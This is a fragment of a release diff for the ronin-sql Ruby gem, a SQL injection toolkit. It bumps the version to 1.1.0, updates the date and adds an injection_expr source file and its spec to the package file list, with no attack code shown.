  include_examples "BinaryExpr", :glob, :GLOB
31
31
  include_examples "BinaryExpr", :match, :MATCH
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: ronin-sql
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.1.0
5
5
  prerelease:
6
6
  platform: ruby
7
7
  authors:
@@ -9,7 +9,7 @@ authors:
9
9
  autorequire:
10
10
  bindir: bin
11
11
  cert_chain: []
12
- date: 2013-01-21 00:00:00.000000000 Z
12
+ date: 2013-01-22 00:00:00.000000000 Z
13
13
  dependencies:
14
14
  - !ruby/object:Gem::Dependency
15
15
  name: bundler
@@ -78,6 +78,7 @@ files:
78
78
  - lib/ronin/sql/function.rb
79
79
  - lib/ronin/sql/functions.rb
80
80
  - lib/ronin/sql/injection.rb
81
+ - lib/ronin/sql/injection_expr.rb
81
82
  - lib/ronin/sql/literal.rb
82
83
  - lib/ronin/sql/literals.rb
83
84
  - lib/ronin/sql/operators.rb
@@ -102,6 +103,7 @@ files:
102
103
  - spec/sql/function_examples.rb
103
104
  - spec/sql/function_spec.rb
104
105
  - spec/sql/functions_spec.rb
106
+ - spec/sql/injection_expr_spec.rb
105
107
  - spec/sql/injection_spec.rb
106
108
  - spec/sql/literal_spec.rb
107
109
  - spec/sql/literals_spec.rb